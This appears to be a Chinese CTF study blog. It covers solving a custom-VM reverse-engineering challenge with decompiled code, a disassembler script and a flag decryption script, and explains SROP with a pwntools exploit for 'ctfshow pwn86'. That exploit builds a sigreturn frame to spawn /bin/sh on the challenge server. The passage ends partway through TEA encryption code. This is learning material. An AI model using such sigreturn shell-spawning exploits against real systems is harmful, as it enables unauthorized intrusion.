unsigned __int64 __fastcall sub_E0B(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_QWORD *)(a1 + 16) = &unk_202060;
while ( **(_BYTE **)(a1 + 16) != 0xF4 )
sub_E6E(a1);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall sub_E6E(__int64 a1)
{
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; **(_BYTE **)(a1 + 16) != *(_BYTE *)(16 * (i + 1LL) + a1 + 8); ++i ) //循环查找匹配的字节
;
(*(void (__fastcall **)(__int64))(16 * (i + 1LL) + a1 + 16))(a1); //调用匹配到的函数
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
0xF1 mov
0xF2 xor
0xF4 nop
0xF5 input
0xF7 mul
0xF8 swap
0xF6 x = z + 2y + 3x
0xE1 寄存器 r1
0xE2 寄存器 r2
0xE3 寄存器 r3
0xE4 内存单元 flag
0xE5 寄存器 r4

真flag验证函数

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 sub_F00()
{
int i; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( i = 0; dword_2022A4 - 1 > i; ++i )
{
if ( *((_BYTE *)qword_2022A8 + i) != byte_202020[i] )
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
unsigned char byte_202020[] =
{
0x69, 0x45, 0x2A, 0x37, 0x09, 0x17, 0xC5, 0x0B, 0x5C, 0x72,
0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5F, 0x33, 0x73, 0x72,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};

提取出来操作码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 
0x20, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x23,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x26, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x09, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x29, 0x00, 0x00,
0x00, 0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0C,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2C, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2D,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x2E, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2F, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x10, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x30, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x11, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x31, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x12, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x32, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x13, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x33, 0x00, 0x00,
0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xF1,
0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00,
0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1,
0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00,
0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1,
0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09,
0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6,
0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1,
0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00,
0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E,
0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x11, 0x00, 0x00, 0x00, 0xF4

脚本转汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
opcode=[0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 
0x20, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x23,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x26, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x09, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x29, 0x00, 0x00,
0x00, 0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0C,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2C, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2D,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x2E, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2F, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x10, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x30, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x11, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x31, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x12, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x32, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x13, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x33, 0x00, 0x00,
0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xF1,
0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00,
0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1,
0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00,
0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1,
0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09,
0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6,
0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1,
0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00,
0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E,
0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x11, 0x00, 0x00, 0x00, 0xF4]
i = 0
for i in range(len(opcode)):
if (opcode[i] == 0xF1):
print('mov ', end='')
if (opcode[i + 1] == 0xE1):
print('eax ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE2):
print('ebx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE3):
print('ecx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE4):
print('flag[' + str(opcode[i + 2]) + '] ' + 'eax')
elif (opcode[i + 1] == 0xE5):
print('edx ' + 'flag[' + str(opcode[i + 2]) + ']')
elif (opcode[i + 1] == 0xE7):
print('flag[' + str(opcode[i + 2]) + '] ' + 'ebx')
i += 6
elif (opcode[i] == 0xF2):
print('xor eax ebx')
i += 1
elif (opcode[i] == 0xF5):
print('read')
i += 1
elif (opcode[i] == 0xF4):
print('nop')
i += 1
elif (opcode[i] == 0xF7):
print('mul eax edx')
i += 1
elif (opcode[i] == 0xF8):
print('swap eax ebx')
i += 1
elif (opcode[i] == 0xF6):
print('mov eax=3*eax+2*ebx+ecx')
i += 1
else:
i += 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
read
mov eax flag[0]
xor eax ebx
mov flag[32] eax
mov eax flag[1]
xor eax ebx
mov flag[33] eax
mov eax flag[2]
xor eax ebx
mov flag[34] eax
mov eax flag[3]
xor eax ebx
mov flag[35] eax
mov eax flag[4]
xor eax ebx
mov flag[36] eax
mov eax flag[5]
xor eax ebx
mov flag[37] eax
mov eax flag[6]
xor eax ebx
mov flag[38] eax
mov eax flag[7]
xor eax ebx
mov flag[39] eax
mov eax flag[8]
xor eax ebx
mov flag[40] eax
mov eax flag[9]
xor eax ebx
mov flag[41] eax
mov eax flag[10]
xor eax ebx
mov flag[42] eax
mov eax flag[11]
xor eax ebx
mov flag[43] eax
mov eax flag[12]
xor eax ebx
mov flag[44] eax
mov eax flag[13]
xor eax ebx
mov flag[45] eax
mov eax flag[14]
xor eax ebx
mov flag[46] eax
mov eax flag[15]
xor eax ebx
mov flag[47] eax
mov eax flag[16]
xor eax ebx
mov flag[48] eax
mov eax flag[17]
xor eax ebx
mov flag[49] eax
mov eax flag[18]
xor eax ebx
mov flag[50] eax
mov eax flag[19]
xor eax ebx
mov flag[51] eax
nop
read
mov eax flag[0]
mov ebx flag[1]
xor eax ebx
mov flag[0] eax
mov eax flag[1]
mov ebx flag[2]
xor eax ebx
mov flag[1] eax
mov eax flag[2]
mov ebx flag[3]
xor eax ebx
mov flag[2] eax
mov eax flag[3]
mov ebx flag[4]
xor eax ebx
mov flag[3] eax
mov eax flag[4]
mov ebx flag[5]
xor eax ebx
mov flag[4] eax
mov eax flag[5]
mov ebx flag[6]
xor eax ebx
mov flag[5] eax
mov eax flag[6]
mov ebx flag[7]
mov ecx flag[8]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[6] eax
mov eax flag[7]
mov ebx flag[8]
mov ecx flag[9]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[7] eax
mov eax flag[8]
mov ebx flag[9]
mov ecx flag[10]
mov edx flag[12]
mov eax=3*eax+2*ebx+ecx
mul eax edx
mov flag[8] eax
mov eax flag[13]
mov ebx flag[19]
swap eax ebx
mov flag[13] eax
mov flag[19] ebx
mov eax flag[14]
mov ebx flag[18]
swap eax ebx
mov flag[14] eax
mov flag[18] ebx
mov eax flag[15]
mov ebx flag[17]
swap eax ebx
mov flag[15] eax
mov flag[17] ebx
nop

第一段是假的,第二段是真的,逆向的得到真的flag的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
def decrypt_flag():
# 1. 已知密文字节数组(来自题目.data段)
cipher = [0x69, 0x45, 0x2A, 0x37, 0x09, 0x17, 0xC5, 0x0B,
0x5C, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31,
0x5F, 0x33, 0x73, 0x72]

# 2. 步骤1:反转交换操作(还原到乘法操作后的状态M)
# 交换规则:M[13]=C[19], M[19]=C[13]; M[14]=C[18], M[18]=C[14]; M[15]=C[17], M[17]=C[15]
M = cipher.copy()
M[13], M[19] = M[19], M[13]
M[14], M[18] = M[18], M[14]
M[15], M[17] = M[17], M[15]

# 3. 步骤2:求解乘法逆元,还原B[6]、B[7]、B[8](即原始F[6]、F[7]、F[8])
# 已知条件:M[12] = 0x33 = 51(K),其模256逆元为251(提前计算得出)
K = M[12] # 51
K_inv = 251 # 51 mod 256的逆元

# 计算S6、S7、S8(乘法操作前的线性组合值)
S6 = (M[6] * K_inv) % 256 # M[6] = 0xC5 = 197
S7 = (M[7] * K_inv) % 256 # M[7] = 0x0B = 11
S8 = (M[8] * K_inv) % 256 # M[8] = 0x5C = 92

# 已知M[9] = 0x72 = 114,M[10] = 0x33 = 51(原始F[9]、F[10])
F9 = M[9]
F10 = M[10]

# 解B[8](F[8]):3*F8 + 2*F9 + F10 ≡ S8 mod 256
# 推导:3*F8 = S8 - (2*F9 + F10) mod 256 → F8 = (结果 * 3逆元) mod 256
inv3 = 171 # 3 mod 256的逆元
temp8 = (S8 - (2 * F9 + F10)) % 256
F8 = (temp8 * inv3) % 256 # 结果:0x5F = 95

# 解B[7](F[7]):3*F7 + 2*F8 + F9 ≡ S7 mod 256
temp7 = (S7 - (2 * F8 + F9)) % 256
F7 = (temp7 * inv3) % 256 # 结果:0x33 = 51

# 解B[6](F[6]):3*F6 + 2*F7 + F8 ≡ S6 mod 256
temp6 = (S6 - (2 * F7 + F8)) % 256
F6 = (temp6 * inv3) % 256 # 结果:0x76 = 118

# 4. 步骤3:逆向XOR链,还原F[0]~F[5]
# 已知:B[0]~B[5] = M[0]~M[5](XOR后的结果),F[6]已求出
B = M[:6] # B[0]~B[5] = [0x69, 0x45, 0x2A, 0x37, 0x09, 0x17]
F = [0] * 20 # 原始flag数组(F[0]~F[19])

# 先填充已知的F[6]~F[19]
F[6] = F6
F[7] = F7
F[8] = F8
F[9] = F9
F[10] = F10
F[11] = M[11] # M[11] = 0x76 = 118(未被修改)
F[12] = K # M[12] = 51(未被修改)
F[13] = M[13] # 反转交换后的值(原始F[13])
F[14] = M[14] # 原始F[14]
F[15] = M[15] # 原始F[15]
F[16] = M[16] # M[16] = 0x5F = 95(未被修改)
F[17] = M[17] # 原始F[17]
F[18] = M[18] # 原始F[18]
F[19] = M[19] # 原始F[19]

# 逆向XOR链(从F[5]倒推到F[0])
# 公式:F[i] = B[i] ^ F[i+1](因B[i] = F[i] ^ F[i+1])
F[5] = B[5] ^ F[6] # B[5] = 0x17 = 23
F[4] = B[4] ^ F[5] # B[4] = 0x09 = 9
F[3] = B[3] ^ F[4] # B[3] = 0x37 = 55
F[2] = B[2] ^ F[3] # B[2] = 0x2A = 42
F[1] = B[1] ^ F[2] # B[1] = 0x45 = 69
F[0] = B[0] ^ F[1] # B[0] = 0x69 = 105

# 5. 步骤4:转换为ASCII字符串,得到原始flag
flag = ''.join([chr(byte) for byte in F])
flag_hex = ''.join([f'{byte:02X}' for byte in F])

# 输出结果
print("原始flag(ASCII):", flag)
print("原始flag(十六进制):", flag_hex)


if __name__ == "__main__":
decrypt_flag()
1
Y0u_hav3_r3v3rs3_1t!

介绍

SROP 是一种高级的漏洞利用技术,它通过篡改内核存储在用户空间栈上的信号上下文(Signal Context),并主动调用一个特殊系统调用 sigreturn(),来让内核无条件地将这片被篡改的上下文恢复到CPU的所有寄存器中,从而实现一种“全能”的攻击效果。

SROP - CTF Wiki上解释的很清楚,这里我就从这写自己学习的过程,几乎是照搬。

signal 机制

1

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

1

signal Frame

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

攻击原理

signal Frame是可读可写的,所以我们可以改动signal Frame来构造恶意的ROP,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

1

system call chains

需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可。

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。

1

需要满足的条件

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • “/bin/sh”
    • Signal Frame
    • syscall
    • sigreturn

例题

ctfshow pwn86

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
signed __int64 v4; // rax

v3 = sys_write(1u, global_pwn, 0x17uLL);
if ( (unsigned __int64)sys_read(0, global_buf, 0x200uLL) >= 0xF8 )
__asm { syscall; LINUX - sys_rt_sigreturn }
v4 = sys_exit(0);
return 0;
}

sys_read(0, global_buf, 0x200uLL)就是读入的栈帧(signal frame)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

# 设置上下文信息
context(arch='amd64', os='linux', log_level='debug')

def main():
# 加载目标二进制文件
elf = ELF('./pwn')

# 连接到目标
# p = process('./pwn') # 本地测试
p = remote("pwn.challenge.ctf.show", "28236") # 远程连接
#elf.sym['global_buf'] = 0x601040
#elf.sym['syscall'] = 0x400147
# 定义常量
BIN_SH_OFFSET = 0x100 # "/bin/sh"字符串在缓冲区中的偏移

# 构造信号返回帧
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 系统调用号
frame.rdi = elf.sym['global_buf'] + BIN_SH_OFFSET # 参数字符串地址
frame.rsi = 0 # argv参数
frame.rdx = 0 # envp参数
frame.rip = elf.sym['syscall'] # 返回后执行的指令地址

log.info("构造的信号返回帧:")
log.info(f"RAX = {frame.rax} (SYS_execve)")
log.info(f"RDI = {hex(frame.rdi)} (global_buf + {BIN_SH_OFFSET})")
log.info(f"RIP = {hex(frame.rip)} (syscall)")

# 构造攻击载荷
payload = bytes(frame)
padding = b'A' * (BIN_SH_OFFSET - len(payload))
bin_sh = b'/bin/sh\x00'

full_payload = payload + padding + bin_sh

log.info(f"载荷长度: {len(full_payload)} 字节")
log.info(f"帧数据: {len(payload)} 字节")
log.info(f"填充数据: {len(padding)} 字节")
log.info(f"字符串数据: {len(bin_sh)} 字节")

# 发送载荷
p.send(full_payload)

# 切换到交互模式
p.interactive()

if __name__ == "__main__":
main()

开始tea加密的学习

tea

加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>

// 加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
v[0] = v0;
v[1] = v1;
}

int main() {
// 明文分组(小端序十六进制)
uint32_t plaintext[8] = {
0x67616C66, 0x3332317B, 0x37363534, 0x30303938,
0x34333231, 0x38373635, 0x32313039, 0x7D353433
};

